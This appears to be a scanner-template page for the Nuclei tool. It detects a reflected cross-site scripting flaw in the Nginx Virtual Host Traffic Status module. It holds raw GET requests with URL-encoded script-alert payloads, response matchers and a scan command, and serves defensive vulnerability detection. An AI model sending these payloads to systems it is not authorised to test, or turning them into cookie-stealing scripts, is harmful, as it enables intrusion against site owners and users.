Nginx Virtual Host Traffic Status Module - Cross-Site Scripting

ID: nginx-module-vts-xss

Severity: high

Author: madrobot,j4vaovo

Tags: nginx,xss,status

Description

Nginx Virtual Host Traffic Status Module contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: nginx-module-vts-xss

info:
  name: Nginx Virtual Host Traffic Status Module - Cross-Site Scripting
  author: madrobot,j4vaovo
  severity: high
  description: Nginx Virtual Host Traffic Status Module contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/vozlt/nginx-module-vts
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: nginx,xss,status

http:
  - raw:
      - |
        GET /_404_%3E%3Cscript%3Ealert(1337)%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /status%3E%3Cscript%3Ealert(7331)%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 200"
          - "contains(header_2, 'text/html')"
          - "contains(tolower(body_2), '<script>alert(7331)</script>')"
        condition: and

      - type: dsl
        dsl:
          - "!contains(tolower(body_1), '<script>alert(1337)</script>')"
        condition: and
# digest: 490a00463044022056a9b3e7a0de09212be30753264b74b1fdb0cb4249deda29aa59ae64198ae65002204a1aa5d875978738c5c134493c079baaef78e7ac75be2d20756a60eba168a94a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/nginx-module-vts-xss.yaml"

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